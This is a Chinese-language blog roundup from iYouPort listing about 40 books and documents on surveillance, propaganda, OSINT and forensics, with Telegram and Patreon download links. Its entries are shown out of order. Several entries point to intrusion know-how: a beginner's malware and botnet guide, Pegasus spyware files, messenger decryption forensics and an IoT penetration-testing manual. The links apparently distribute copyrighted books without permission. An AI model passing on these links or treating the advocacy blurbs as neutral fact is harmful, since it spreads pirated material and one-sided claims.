拥有至高无上权力的科技寡头们所体现的问题究竟是因为互联网乌托邦的诺言陷入了歧途？还是是因为互联网及产品本身的结构所导致的必然结果？

艺术家兼技术人员 James Bridle 的一本新书认为：后者才是原因。

《新黑暗时代：技术与未来的终结（New Dark Age: Technology and the End of the Future）》这本书中认为， 正是互联网的核心—— 高速计算和全球化网络的结合—— 对日益增长的侵入性数据挖掘、‘假新闻’和大规模监控行为，负有很大责任。

换句话说，互联网并非是被邪恶污染了，正相反，它正在以最初设计时的原则和目的正常运行。而这种’正常运行’不仅在模糊化我们对世界的认知，而且还使世界越发充满危险。

在这里读到这本书的中文版解读：《与其说是互联网的末日，不如说是世界末日更容易理解？》

在这里下载这本书：https://t.me/iyouport/6696

下载：https://www.patreon.com/posts/38153399

59、《Hacker, hoaxer, whistleblower, spy: the many faces of Anonymous》

「图」

匿名协作——

对匿名者组织的争议从一开始就非常激烈，可惜绝大多数分析都是严重片面的。但这本书不同。

半年前，人类学家 Gabriella Coleman 开始研究这一全球现象的兴起，当时其一些成员转向了政治抗议和危险的破坏（在匿名者成为 Wikileaks、阿拉伯之春和占领华尔街之战的关键人物之前）。

她最终与 Anonymous 的关系如此密切，以至于那些棘手的故事最终形成了这本幽默诙谐而且完全引人入胜的著作的主题之一。

这本书中列举的证据是充分的，它表明—— 这个无国界的黑客主义团体致力于揭露不法行为，而不是破坏性；

匿名者并不是一个阴暗的组织，而是一个松散的全球各地的积极活动人士的集合，他们努力争取的是政府和企业的透明度。

如果您对匿名者感兴趣，或者，您就是技术行动主义的热情支持者，那么这本书也许合适您。

在这里下载这本书：https://t.me/iyouport/6699

下载：https://www.patreon.com/posts/38153482

60、《The transparent society: will technology force us to choose between privacy and freedom?》

「图」

在正反乌托邦之间——

> “把目光转向过去，我们看到几乎所有形式的暴政都依赖于同样的最终控制方式：灌输，堕落，恐怖，监视和告密（群众斗群众）”

David Brin 在1998年写了一本书，题为《透明社会：技术会迫使我们在隐私和自由之间作出选择吗？》

这本书比较有意思，其中布林提出的不仅仅是解决监控技术问题的不寻常方法。

他提出了对公民与国家关系的看法。其中部分有道理，虽然整体上明显是保守派的思考方式，但我们对其的引述不考虑政治倾向。

简而言之，布林认为自由不是在国家薄弱时兴旺，而是在国家真正负责任时。问责制反过来要求政府程序必须公开，公民必须保持警惕、

并有效监督和质疑公职人员的行为。

请注意这本书中有些观点与IYP不一致，但它很有趣；尤其是，他提出的建议对于政治变革后没有民主经验的社会来说，也许有参考价值，比如中国。

中文版分析在这里：《在正反乌托邦之间》。

在这里下载这本书：https://t.me/iyouport/6702

下载：https://www.patreon.com/posts/38153520

61、《The Propaganda Model Today: Filtering Perception and Awareness》

「图」

你能做到全方面避免洗脑吗？——

所有利益方都想要控制你的大脑为他们所用。而保持独立清醒的判断力和逻辑是作为一名合格公民的基础。

在宣传战中你支持任何一方都只能是被利用。

洗脑并不容易认清，因为它们致力于让你感觉“那些想法就出于本心”。

我们总结过14点《宣传战的诡迹》，帮您时刻警惕，以保持清醒的认知。

尤其推荐这本书，您可以在这里下载：https://t.me/iyouport/6705

下载：https://www.patreon.com/posts/38153560

62、《The Road to Unfreedom: Russia, Europe, America》

「图」

轻松愉快地变傻。然后呢 ——

在互联网上让一个人变得愚蠢和不那么快乐比让他们变得更聪明要容

易得多。

在线宣传战的结果是什么？

实际发生的事并不是计算机与我们竞争谁更加人性化; 而是计算机已经让我们人类变得不那么人性化了。这就是他们获胜的方式。

他们把我们分成小块—被圈在你一个个隔离的气泡里，这样我们就不那么人性化了，更加部落化，更加愤怒，更加情绪化。

这就是这场比赛实际上正在操作的方式。

在任何人身上使用网络武器，都会能以我们喜欢的方式让对方变得愚蠢。

您可以在这里看到这本书作者的访谈《在线宣传战的结果》这是一篇很棒的访谈。

在这里下载这本书：https://t.me/iyouport/6708

下载：https://www.patreon.com/posts/38153587

63、《Slow Media: Why “Slow” Is Satisfying, Sustainable, and Smart》

「图」

数字化糊涂是永恒的吗？——

事实究竟有多大用处？这要看你在哪了。如果是在互联网上，那么答案是：非常难说。

在互联网上，即便大量地列举事实，也很难改变一个人错误的想法。

如果你长期使用互联网获取信息、寄希望于互联网帮你成为公民，恐怕只会适得其反—— 并且你越是专注于此，你就越难以了解事实全貌。

这是怎么造成的？如何改变这种状况？

下面这本书将解释这个问题。

此外在这里看到对这一问题的中文版解读：《引流暴政和生存困惑》。

在这里下载这本书：https://t.me/iyouport/6711

下载：https://www.patreon.com/posts/38154144

64、《Being Numerous—Essays On Non-Fascist Life》

「图」

你我都是合谋者——

如果没有易于追踪所有公民的方法，监视国家就无法维持。

人们避免深度谈论这件事，避免承认自己对自己的*可监控性*之参与有多么的深刻—— 不论是智能手机还是智能家居，都是人们兴高采烈地买回来的，而不是被谁强迫安置的—— 这就是我们的生活方式。

每年都有更多的数据产生 出来—并且，与更廉价的存储和收集文化一起保存—— 超越互联网出现之前的所有人类历史。

而事实上，人类的记录比以往任何时候都要少，因为每个人都被迫将这些记录交给了国家。

监视不是社交媒体生活的附带现象—— 它是它的基石。在晚期资本主义之下。

您可以在这里看到这本书的中文版节选《6年，改变了什么？》

并在这里下载这本书：https://t.me/iyouport/6714

下载：https://www.patreon.com/posts/38154172

以上是我们今年上传的书籍，希望对您有用！预祝中国读者新春愉快，尽情享受您的知识盛宴 。我们下一个十年，再见。〇

原文

IYP优秀书籍年度汇总2019-在线下载免费阅读 - iYouPort

这里是IYP的口袋知识-小册子和电子书

都是您在中国很难买到的书和资料……

「图」

「图」

一年过得很快！IYP在2019年更新上线的书籍您都读过了吗？如果您担心错过了重要的优秀书籍，现在可以在这里找到。

感谢伟大的读者帮助总结和整理 ❤

本列表只回顾重要的部分；我们的 **telegram** 频道明年将继续热闹，它在这里："https://t.me/iyouport"

不要错过：

- 我们的年终访谈，关于香港和中国《”成为你想要在这个世界上看到的改变”：与IYP下午茶》
- 我们的年度频道汇总《IYP’s Telegram频道本年度部分内容更新汇总》
- 我们的年度书籍汇总《IYP优秀书籍年度汇总2019—在线下载免费阅读》
- 您可以如何利用 IYP 赚钱《IYP 的新10年：我们的2020什么样？》

下面就是您的书架 📚

1、《Permanent Record》

「图」

「图」

这个就不用写简介啦。请注意：不要读中文版！因为中文版删除了很多关键的内容，于是整体上会有误导性。

中国当局想要把斯诺登包装成民族主义炮药，追求自由的爱书人请阅读完整版，在这里下载：https://t.me/iyouport/6085

2、《Becoming Digital: Toward a Post-Internet Society》

「图」

「图」

新的帝国和新的反抗 ——

这本书分析了不同的技术的融合（物联网、云计算、大数据），以及“下一代互联网”的发展；作者指出，各国政府，尤其是美国和中国的政府，都支持这些技术寡头的活动，因为他们受益于通过无休止的监视来控制公民的机会，扩大军事力量（想想武器化无人机），以及他们认为这些公司对国家的经济增长至关重要。

在不同程度上，从电报到电话和广播的每一种新媒体技术都受到企业集中化、商业化和依赖政府军事情报部门的影响。

在每种情况下，公民都通过动员反抗取得了一定胜利，包括推动垄断企业的解体、价格和服务的监管、商业系统公共替代方案的发展、以及对通信资源军事化的限制。

新自由主义的兴起使许多公民倡议得以回归，其政策包括放松管制、私有化以及通过切实的反垄断执法缓解霸权的影响。

正如公民曾经一次又一次地反抗那样，如今人们需要再次组织起来以反对当前的社交媒体制度，并严格按照公共利益来规范行业，尤其是，努力打造为公民可以抵制集中化霸权的公共替代品。

作者呼吁全球公民再一次联合起来抵制中美瓜分互联网的霸权。

您可以在这里看到对作者《Vincent Mosco 的访谈》，中文版，这是一篇很棒的对话。

这本书在这里下载：https://t.me/iyouport/6609

3、《美国陆军开源情报手册》

「图」

「图」

https://phibetaiota.net/wp-content/uploads/2016/09/Benavides-49-Page-Quick-Guide.pdf

https://phibetaiota.net/wp-content/uploads/2012/09/2016-OSINT-2oolKit-Benavides.pdf

美国陆军高级培训师 Ben Benavides 负责制定陆军使用的开源情报（OSINT）调查手册。就是您在上面看到的那2个文档。这些文档有一整套。

很高兴地告诉大家，这些手册中介绍的知识和技术工具在IYP的"OSINT"栏目中基本都有发布过中文版的详细介绍。

- ○ 甚至，我们提供的知识比您在线能找到的该领域其他渠道的介绍都更为全面，而且更加时效和有实用价值**。

除了陆军的开源情报培训手册之外，您还能在网上找到北约和特种部队使用的同类情报分析手册；但是，后两者都不够实用，而且其中大量知识已经过时（技术的更新非常快，就如你所知道的那样），虽然它们在结构和思考方式上仍然是最好的—思考方式是不会过时的东西。

⚠不夸张的说，目前您在网上能找到的切实有用的知识，不会超过1%；书籍市场也一样，只有那些过时的不再有效的 *侦查反侦查技术* 才会被印制成书籍出售。这就是为什么说您**不应该**将上网的直接获取视为技能提升方面的实质性收益。

但是，IYP一直正在致力于成为那1%—真正提供给您最新的、最具实用性的技术和技巧。

技术的变化（而不完全是发展）的速度是非常快的。就在几个月前，FB图谱搜索还是开源情报采集方面的瑞士军刀级利器，但现在，它已经被关闭；谷歌在近期也限制了图像情报采集的部分功能。

我们不知道接下来会发生什么，但是，我们可以保证，强大的开源技术社区从来不会因寡头企业的阻挠而失去斗志—新的解决方案始终会及时到来弥补缺陷。

IYP希望做到的就是，及时地以中文形式为您呈现最新的调查、侦查、以及反侦查防御能力。

幸运的是，依旧有很多技能至今没有被损伤，就如我们汇总过的 超级情报工具库 中所介绍的内容，您也能在美国陆军手册系列中看到其中部分内容：《🔍 超级情报收集工具库：开源验证和调查工具及使用方法》。

这样的技术工具汇总还将继续进行，不只有更新，还有专注于不同领域的最新挖掘（比如社交媒体、物联网设备、GoogleDorking 等等，很多）。都将出现在”开源情报”栏目中。

我们会不断强调：技术工具不是一切，它只是一个步骤；自动化工具可以提高您的调查速度，一些公认的开源情报挖掘”神器”的确很有效；⚠但真正能帮助您得到知识的是情报分析的思考方式

— 这就是为什么IYP经常演示调查过程，不论是《新疆火车站押送》调查、挖掘网络水军的信息战、揭露算法暴政、还是曝光政治旋转门， 这些调查过程都可以帮助您获得 **情报分析思考方式方面的见解**。思考方式是比技术工具更值钱的东西。

⚠尤其需要强调的是：开源情报并非仅仅用于侦查，它也用于反侦查，即 防御。只有当您深刻了解追踪者最常用的方式时，才能更好地避免被追踪。

就如Evans在分析中国深圳的 Knowlesys 公司时所强调的那样：当权者已经使用这种方式维稳互联网20年。

- ○ 在言论罪层出不穷的情况下，向大众普及开源情报作为防御的能力，不仅是必要的，而且是紧迫的**。

IYP不是国际开源情报社区唯一擅长中文的家伙，但是我们的心态是独树一帜的，那就是：始终为华语地区互联网用户的人身安全和民主推动服务。

在这里下载：https://t.me/iyouport/6191

4、《The Complete Linux Manual》

「图」

「图」

您可以在这里下载：https://t.me/iyouport/6198

5、《The Psychology of Information Security》

「图」

「图」

信息安全仅仅是技术问题吗？——

肯定不是。

信息安全通常被视为一门技术学科—防火墙、防毒软件、访问控制、和加密的世界；看起来像是一个不透明的且难以捉摸的学科。

但是，请随时记住那句话：⚠**最终的安全取决于人**，而不是技术；而且我们每个人都以我们自己视为理性的符合个人利益的方式行事，我们存在固有的心理弱点、容易被操纵、会判断失误，甚至彻头彻尾的不当行为。

这就是为什么说，*安全* 是一种心理学问题，而非仅仅是技术问题—如果不能科学地避免心理弱点，再牛B的安全防护软件恐怕也帮不上您。

这就是为什么我们要推荐这本书，它很好地讲述了这个问题，尤其是技巧方面，值得推荐。

此外，如果您更喜欢阅读中文的相关知识，可以参见IYP的 “社交工程” 栏目，其中提供的内容都比较实用 I promise。

您可以在这里下载：https://t.me/iyouport/6202

6、《我们已被和谐：生活在中国的监视国家》

「图」

「图」

这就不需要写简介了…… 书的标题就很明确。

您可以在这里下载：https://t.me/iyouport/6209

7、《Counterknowledge: how we surrendered to conspiracy theories, quack medicine, bogus science and fake history》

「图」

「图」

抵制信息战 ——

关于信息战大家再熟悉不过了（预告一下明年我们将发布一份近年来最好的全球信息战调查报告），虚假信息、污蔑、攻击、trolls、doxing、身份盗用、阴谋论 …… 正在摧毁全球民主。

未经证实的理论和虚假主张都是“反知识”的形式，并且在互联网的帮助下，它们正在造就全球范围内的误导性，它们操纵选举、伪造民意、复活并快速加强了专制主义政权的洗脑战术。

这本书讲述的不是信息战，而是一些科学的思考方式，帮助您抵制信息战的侵害。

您可以在这里下载：https://t.me/iyouport/6222

8、《Digital Image Forensics：Theory and Implementation》

「图」

「图」

视觉信息验证技术 ——

如今的人们都知道 *数字取证* 是什么东西了—— 因为已经有太多人因此被抓进监狱、被判刑。

但是，数字证据真的靠谱吗？任何人可以信任它作为剥夺一个人后半生的绝对依据吗？…… 这个问题在未来的IYP专栏中将做出详细解读；尤其是，提醒自我保护。

数字图像和视频已成为全世界执法取证的重要电子证据，也是大众了解事实的关键媒介，因为它们是从事发现场收集数字证据的最有效手段。

但是，随着造假技术的深化和大众化，“有图有真相”这一逻辑已经不再成立—即便有视频也可能不是真相。在这里看到 《当恶意者掌握技术：信息战的未来究竟有多可怕？》

因此，维持视觉证据的可信赖性和可靠性是当今数字世界的主要挑战。

对数字图像和视频的保真度和可靠性进行调查和维护的需求，已引起“数字多媒体取证”领域的兴起。

数字图像取证主要涉及两个广泛的问题：

（a）摄像机源识别

（b）图像伪造检测

摄像机源识别是一项研究，用于分析被使用的是哪种摄像设备和类型以捕获特定图像。

另一方面，图像伪造检测被用于识别给定图像是否被人为篡改。如果判断为伪造，它还会尝试对伪造进行还原。

图像伪造检测本质上是一种“盲”技术，也就是说，在检测过程中不存在原始（未修改的）图像。这是主要挑战之一，当然还有其他挑战。

这本书重点介绍数字图像取证技术的最新研究。

这本书中的每一章都通过插图和必要的背景清楚地讨论了该新兴领域在某些方面的最新进展，技术介绍比较详细。对公民识别造假的能力提升来说，也会有所帮助。

您可以在这里下载：https://t.me/iyouport/6236

9、《安全上网的实用技巧》

「图」

「图」

给普通人 ——

这是一个文档，给普通人的安全基础知识 —— 只要您还在使用任何电子设备，这些就是您需要知道的。

（IYP：我们在未来还会发布更多相关知识，因为我们的确对当前技术界的安全知识内容提供不满意，它们大多为那些有一定基础的人服务的，而忽略了广大的普通用户。）

- 不要错过我们曾经提供过的相关知识，见 “技术防身栏目”
- 以及 “给行动者的护身符和武器栏目”

您可以在这里下载这一文档：https://t.me/iyouport/6259

10、《Capital is Dead: Is This Something Worse?》

「图」

「图」

资本死了。然后呢？——

如你所知，中国的资本主义程度越来越高，这是一个线索，无所谓当局是否承认。

但如今的资本和其传统形式有所不同了。

信息赋予了新的统治阶级以强大的权力。通过信息的所有权和控制，这种新兴的阶级不仅支配着劳动力，而且支配着传统上人们所理解的资本。

⚠新的统治阶级利用信息的权力可以绕开任何劳工运动和社会运动为当权者制造的阻碍。

那么，我们可以怎么办？

这本书思想很激进，而且富有远见；它不仅提供了分析这个新世界的理论工具，而且提供改变它的方法。

您可以在这里下载：https://t.me/iyouport/6277

11、《关于 *安全* 的知识体系》

「图」

「图」

是文件哦 ——

这不是书，而是一个打包文件。它全面讲述了关于 *安全* 的知识。如果您是安全领域的热心人士，也许会喜欢这样的资料。

您可以在这里下载：https://t.me/iyouport/6289

12、《Open Source Intelligence Methods and Tools: A Practical Guide to Online Intelligence》

「图」

「图」

开源情报 ——

开源情报技术、方法和工具，其能力之强大，想必您已经有很多了解；IYP 有 “开源情报栏目”：其中提供的所有知识、工具和技巧，都是最新的。

上面这本书不仅包含了IYP曾经介绍过的诸多思考方式和情报分析技巧，还将通过两个子层（深网和暗网）提高您获取情报的技术能力。

这本书包括了许多开源情报资源，不论是公民社会、反抗者、情报机构、还是企业，都可以使用这些资源来了解趋势、识别风险并收集竞争对手的情报，从而可以做出更有效的决策。

您将发现黑客和渗透测试人员同样使用这些技术、方法和工具，在线收集有关特定目标的情报；以及如何将开源情报资源用于进行社会工程攻击的目的—— 也就是我们强调过的，通过敌人的眼睛看自己，即 **对抗性思考方式**，是最好的防御。

熟悉开源情报的操作，您应该 至少 得到以下方法：

– 确定情报需求并利用各种工具和资源来改善组织中的数据收集、分析和决策；

– 使用开源情报资源，通过发现在线、公开和敏感的数据，并在外部攻击者发现数据之前将其隐藏，以保护个人和组织的安全；

– 收集有关商业竞争对手的情报，并预测未来的市场方向；

– 进行高级搜索、以挖掘各种社交媒体网站中隐藏的情报，追踪大型群体事件、热门话题、全球趋势、本地动态、挖掘信息战水军网络、揭露虚假信息……

– 了解组成 Internet 的不同层次，以及如何在深网暗网中进行情报搜索的方法。

您可以在这里下载这本书：https://t.me/iyouport/6304

13、《WhatsApp Forensics：Advanced acquisition and decryption techniques》

「图」

「图」

入侵加密通信 ——

主题和上面一样，但这份文档是：对 WhatsApp 进行数字取证的方法。简单说就是，对加密通信工具进行 “数字取证” —— 很可怕的。

⚠请注意：这其中还包括针对 Telegram Messenger、Facebook Messenger、Viber、Signal Messenger 等等（signal 似乎只能对安卓版破解），还有 Skype 和中国微信。

您可以在这里下载：https://t.me/iyouport/6315

14、《Red Flags: Why Xi’s China Is in Jeopardy》

「图」

「图」

在中国，最大的问题是什么 ——

以广场舞为主的社会结构能实现哪种伟大复兴？

老龄化对中国的压力越来越大。今年将是一个不祥的里程碑。

根据联合国预测，到2020年，中国公民的年龄中位数将超过美国人。然而，中国仍然贫穷得多，其中位收入仅为美国的四分之一。

人们一直在广泛讨论的担心—— 中国会在变得富裕之前就老掉了这个问题—— 已经不再是理论上的可能性，而是正在成为的现实。

根据联合国的预测，在未来25年内，中国65岁以上人口所占的百分比将从12%增至25%，翻一番以上。

相比之下，美国要达到同样的水平需要一个世纪，欧洲需要60多年。

就如这本书中所写到的：人口问题也许不是命运，中国有时间改变路线；“但是，坏消息是可用的时间正在迅速流逝”……

希望看到详细解释吗？

您可以在这里下载这本书：https://t.me/iyouport/6377

15、《NSO’s Pegasus》

「图」

「图」

全世界最危险的家伙 ——

我们拿到了飞马 Pegasus 间谍软件的文件—— 从这里您可以深入了解该间谍软件的工作方式和思考逻辑。

这种间谍软件—— 以色列 NSO 生产的 Pegasus—— ⚠□ 已经感染了45个国家，被用来监视和迫害异议人士，包括香港。

请注意，**并不确定** 中国大陆当局是否在本地使用了这种间谍软件，因为无法对中国做DNS缓存探测。在这里看到详细报告：《以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家—⚠ 亚洲有香港》。

沙特被肢解的异议人士 Khashoggi 就是被这个东西杀死的。

并且，以色列间谍软件公司出售这种监视技术和知识，在130个国家针对记者、异议人士和LGBT人群，

在这里看到详细报告：《以色列间谍软件公司出售监视技术和知识在130个国家针对记者、异议和LGBT人群》。

⚠人们一直认为移民和流亡能逃离本国的暴政和威胁。但如今不行了。以间谍软件和监视技术为主要武器的网络战正在全球展开，当权者可以无国界追踪异议人士和任何他们不喜欢的人。

所以，只有充分有效的自我保护和在此基础上的反抗才有希望解决问题，没有其他选项。

您可以在这里下载这份文档：https://t.me/iyouport/6379

16、《Under Surveillance Being Watched in Modern America》

「图」

「图」

老大哥正在扭曲你 ——

标题很明确。

从来没有人能知道得如此之多。

闭路电视摄像机、TSA扫描仪、NSA数据库、大数据营销商、掠食性无人机、“stop and frisk” 策略、Facebook算法暴政、隐藏的间谍软件、甚至是老式的爱管闲事的邻居 ……监视已变得无处不在，人们甚至开始视其为理所当然。

几乎没有人检查过不断受到监视的生活的意外后果，以及它如何改变我们对世界的看法和感觉。

自9/11以来，Randolph Lewis 在《 Under Surveillance》一书中以高度新颖的眼光审视了监视生活所带来的情感、道德和审美等方面的挑战。

这本书追踪了监视企业的兴起，凝视着娱乐性监视的阴暗面，例如eBay 的在线指南“有趣的监视小工具”，等等；帮助人们了解在“控制

社会”中生活的隐性成本 —— 在此，监督甚至被视为对治理和企业“至关重要”。

Under Surveillance 是为普通读者撰写的，它可以促使人们深入思考监视文化所造成的 “软组织损伤”。

- 《持续的监控如何损伤了你的大脑？》

您可以在这里下载这本书：https://t.me/iyouport/6392

17、《Propaganda and Information Warfare in the TwentyFirst Century》

「图」

「图」

高科技的信息战是什么样的？——

有关造假、去背景化、伪造背景化的研究和书籍已经非常多，其中这本是相对较全面的，推荐阅读。

事实上，深度造假对信息操作的威胁很小。

因为一般而言，人们并不是为了改变自己的想法而进行修辞的，而是为了与他人建立联盟。在寻求提供证据以支持自己的既有观点时，人们只是在寻找那些可以抹黑反对者观点的同时捍卫自己观点的示例。

无法使深度造假在此方面比现有的廉价造假技术更有效，例如，对视听媒体的操纵、语境错误和去语境化的视听媒体等。

深度造假对信息战构成威胁是因为它们很容易掩盖虚假的谎言。

您可以在这里下载这本书：https://t.me/iyouport/6399

18、《Beginning x64 Assembly Programming：From Novice to AVX Professional》

「图」

「图」

这本书是从基础开始讲起的，适合普通用户。在这里下载：https://t.me/iyouport/6407

19、《游击队手册》

「图」

「图」

在这里下载：https://t.me/iyouport/6409

20、实战《物联网渗透测试手册》 —— 提醒防御

「图」

「图」

不要错过：《搜远程桌面、摄像头、打印机、家用设备 ... 等一切的超级Shodan搜索：恐怖指南》。

在这里下载：https://t.me/iyouport/6411

21、《Cyber Forensics—A Field Manual for Collecting, Examining, and Preserving Evidence of Computer Crimes》

「图」

「图」

取证学 ——

这本书是专业的数字取证技术。

通过它，您将能知道数字取证都考虑哪些方面、如何串联信息、如何形成证据以协助法庭定罪。

于是您能知道该避免什么、如何避免、尤其是在被不合理定罪时，您和您的律师应该知道该如何反驳。

在这里下载：https://t.me/iyouport/6420

22、《Hacking Web Intelligence: Open Source Intelligence and Web Reconnaissance Concepts and Techniques》

「图」

「图」

演练 ——

这本书对 Infosec 专业人士来说具有丰富的主题 —— 寻求最佳方法来筛选可广泛在线获取的大量信息。

在许多情况下，很多安全专业人员、黑客和渗透测试人员没有对安全评估的第一阶段（即 侦察）给予足够的重视。

其实，公开存在的信息与机密数据一样重要。

这本书向您展示如何深入研究Web并发现许多甚至普通人不知道存在的信息。

本书采用整体方法，不仅涉及使用工具在线查找信息、还涉及如何链接所有信息并将其转化为可表现和可操作的情报。

您还将学习到如何在线保护信息，以防止被这些侦察方法发现。

《 *Hacking Web Intelligence*》是一份深入的技术参考，涵盖了从互联网挖掘开源信息并将其用于安全评估期间针对性攻击目的所需的方法和技术。

它还介绍了许多新的领先的侦察、信息收集和开源情报方法和技术，包括元数据提取工具、高级搜索引擎、高级浏览器、功能搜索方法、在线匿名工具（例如 TOR 和 i2p， OSINT工具，例如 Maltego，Shodan，Creepy，SearchDiggity，Recon-ng，社交网络分析（SNA），Darkweb／Deepweb，数据可视化等等。

- 为OSINT和Web侦查提供整体方法，向您展示如何将所有数据整合到可操作的情报中；
- 专注于动手工具，例如 TOR，i2p，Maltego，Shodan，Creepy，SearchDiggity，Recon-ng，FOCA，EXIF，Metagoofil，MAT 等；

- 涵盖关键技术主题；
- 包括动手技术示例和案例研究，以及一个 Python 章节，向您展示如何创建自己的信息收集工具以及修改现有的 API。

以上内容我们基本都介绍过，可以参加我们的 “开源情报” 专栏（如果您喜欢中文的话）。

在这里下载这本书：https://t.me/iyouport/6424

23、《Spy & CounterSpy》

「图」

「图」

间谍与反间谍 ——

间谍与反间谍是一门有关自由技能的实践课程，包括反监视、反情报、隐秘行动等。

- 比如这篇文章中介绍的东西，就是其一部分《在你的日常生活中应用隐蔽野战技术：简单方式抵御敌对监视》

每个人都有四分之一的机会成为政府间谍针对的目标—— 不论您与任何想要改变现状的公民社会有联系、无论您的目标有多么良善，不论你居住在哪个国家，您都会成为政府间谍监视的目标。

- 如果你的应对不够专业，其结果可能就是这样《我被警察折磨至精神崩溃：现在我必须爬起来战斗》

在这里下载这本书：https://t.me/iyouport/6436

24、《The Digital Plenitude: The Decline of Elite Culture and the Rise of New Media》

「图」

「图」

互联网带来了什么 ——

本书是今年的新书。如果您关心社交媒体对民主的影响，也许这里可

以解释一些东西。

IYP有一个专栏 “互联网媒介效应”，未来将发布一篇文章，关于电影《小丑》引发的一场令人大跌眼镜的在线舆论战，分析其背后的原因。其中会引述到这本书。

这本书将当前数字媒体多元化的根源追溯到了20世纪下半叶的两个发展：精英文化的衰落和数字媒体的兴起，并论述了互联网时代一系列矛盾的二分法……

特朗普主义及其由来，是其中一个标志性论点。

（不是自夸，我们的 “互联网媒介效应” 栏目中的内容已经涵盖了这本新书中超过一半的观点）

在这里下载：https://t.me/iyouport/6459

25、《To Save Everything, Click Here: The Folly of Technological Solutionism》

「图」

「图」

看不见的政变 ——

你还记得特朗普上台一开始便召集了所有硅谷巨头的会议吗？事实上它是有传统的。而且，很并不简单…

人类已经进入了一个新的政治时代，曾经我们追求的那种民主已经名存实亡了如果不解决这个问题，仅仅追求眼下的政治变革是没有意义的。

灾难从哪里开始的？

- 在这里看到中文版解读《国王们的晚宴—— 这是一场看不见的政变》

在这里下载这本书：https://t.me/iyouport/6462

26、《Getting Started with Beautiful Soup》

「图」

「图」

抓取技术 ——

Beautiful Soup是python的一个库，最主要的功能是从网页抓取数据。官方解释如下：

Beautiful Soup 提供一些简单的、python 式的函数用来处理导航、搜索、修改分析树等功能。它是一个工具箱，通过解析文档为用户提供需要抓取的数据，因为简单，所以不需要多少代码就可以写出一个完整的应用程序。

Beautiful Soup 自动将输入文档转换为 Unicode 编码，输出文档转换为 utf-8 编码。你不需要考虑编码方式，除非文档没有指定一个编码方式，这时，Beautiful Soup就不能自动识别编码方式了。然后，你仅仅需要说明一下原始编码方式就可以了。

Beautiful Soup 已成为和 lxml、html6lib 一样出色的 python 解释器，为用户灵活地提供不同的解析策略或强劲的速度。

这本书可以说是 Beautiful Soup 的实用指南，从安装到使用，非常全面和详细的介绍。

在这里下载：https://t.me/iyouport/6464

27、《Crisis of Conscience: Whistleblowing in an Age of Fraud》

「图」

「图」

良心还有多少活路？——

暴政就是一种让良心活不下去的政治制度和社会氛围。

这是 Tom Mueller 今年的新书《Crisis of Conscience》”良心的危机”。

您可以从这个 thread （12条内容）看到为什么我们要上传这本书。

是的，⚠中国正在暴力污染这一领域，有可能威胁到全球的良心事业。

透明度革命已经延续40年之久，直到2个月前，如果您搜索“Whistleblower”，您将会看到大量信息，包括基金会、技术援助、法律援助、暗网的安全投递通道 .....等等详尽的内容。没错，透明度革命已经是一个非常成熟的跨国社区；

⚠然而，现在您再搜索 “Whistleblower”，您将首先看到来自中国的暴力污染。

中国当局偏偏要使用 Whistleblower 这个词，而不是中文的任何字词，它有着明确的目的。而且，为了加速推动这一污染，中国最近还推出了一部电影，就叫《吹哨人》汤唯主演，请注意，该片是作为“爱国题材” 推出的。

这就是这场危机的关键之一—— 我们的良心的危机。

如果我们不能成功批驳这场暴力污染，如何对得起40年来所有为了说真话而出生入死的人们？！

这场危机的关键之二是：高堡奇人。

中国的暴力污染恰逢全球谴责美国针对 Whistleblower 的全面而残酷的捕杀，这是民主的危机。在高堡奇人的对峙中，任何希望民主胜过威权的人都应该加入这场反抗，否则，威权正在赢过民主！

这就是为什么我们在两个月前首先强调这是非常糟糕的事。

您可以在我们的专栏中了解 “透明度革命”。

在这里下载这本书：https://t.me/iyouport/6474

28、《Propaganda in the Information Age: Still Manufacturing Consent》

「图」

「图」

宣传即操纵 ——

每一位研究过政治宣传如何操纵大众认知的人都会非常熟悉这个领域最经典的《Manufacturing Consent》。

就在这本书出版30周年之际，Alan Macleod 对此进行了更新—— 强调了数字化信息时代的 政治心理操纵 有多么的容易。

这本今年出版的新书中包含很多您熟悉的最近发生社交媒体心理战操纵案例，以及优秀和深入的分析。

您可以在这篇文章中看到识别政府心理战操纵的基本方法《操纵式宣传：五个过滤器和识别线索》。

在这里下载这本书：https://t.me/iyouport/6484

29、《Army of None: Autonomous Weapons and the Future of War》

「图」

「图」

两国演义 ——

谁有能力迅速消解反叛者网络？

全球只有两个国家能做到，那就是：美国和中国。

为什么？就是这本书中介绍的。

您可以在这里看到中文版分析《只有两个国家足以压制反叛”：AI, 大数据和反叛的未来》。

在这里下载这本书：https://t.me/iyouport/6502

30、《恶意软件、Rootkit 和僵尸网络：初学者指南》

「图」

「图」

是的，初级，很简单可以学会。

在这里下载：https://t.me/iyouport/6504

31、《IN DEFENSE OF JULIAN ASSANGE》

「图」

「图」

透明度革命 ——

一本新书发布，这本书是30多人共同撰写的，包括中国读者熟悉的艺术家艾未未。简介在下面的视频里：

在这下载：https://t.me/iyouport/6538

32、《BLOOD AND BELONGING》

「图」

「图」

柏林墙倒了吗？——

文字特别美的一本书，不止是深刻，而且是深刻到五味杂陈的程度。

Michael Ignatieff 不仅是极为优秀的战地记者、也是文才非凡的作家。他在英国发展时为BBC做了很多出色的节目。这本书是他的三部曲中最厚重的一本，也是最杰出的，因为它涉及一个往往在理性层面上难以辩论的话题：新民族主义。

这本书给出了新民主主义的各种案例，从塞尔维亚到德国、从乌克兰到魁北克、从库尔德斯坦到北爱尔兰；所有这一切都具有明显的共性，只不过是换了时代和环境，上演的悲剧却极为相似。

19世纪的思想家们几乎没有任何一个重视民族主义的影响力，他们都认为“随着时代的进步，民族主义会式微”，事实上正相反。

20世纪民族主义勃然兴起，甚至主导了许多政治运动。不论是左翼还是右翼，如果没有和民族主义结合在一起，甚至无法取得胜利……

这不是喊几句世界主义口号就能解决的问题。

这本书尤其出色的在于，它对比了公民民族主义和种族民族主义的根本性区别，非常值得思考，尤其是对于公民活动家来说。

在这里下载：https://t.me/iyouport/6545

33、《Open Source INTELLIGENCE Techniques》

「图」

「图」

开源情报技术 ——

调查界大神 Michael Bazzell 的2019新版教程快要出了。我们赶紧发一下上一版 —— 不用担心，其中关键知识在IYP的 “开源情报” 栏目中都有中文版；并且将不断补充和更新。

在这里下载：https://t.me/iyouport/6548

34、国际特赦组织报告《SURVEILLANCE GIANTS: HOW THE BUSINESS MODEL OF GOOGLE AND FACEBOOK THREATENS HUMAN RIGHTS》

「图」

「图」

谷歌和 Facebook 是人权侵犯者 ——

最近的好消息是，国际特赦组织终于承认了：Google 和 Facebook 为人权侵犯者。简单说：监视资本主义正在破坏民主。

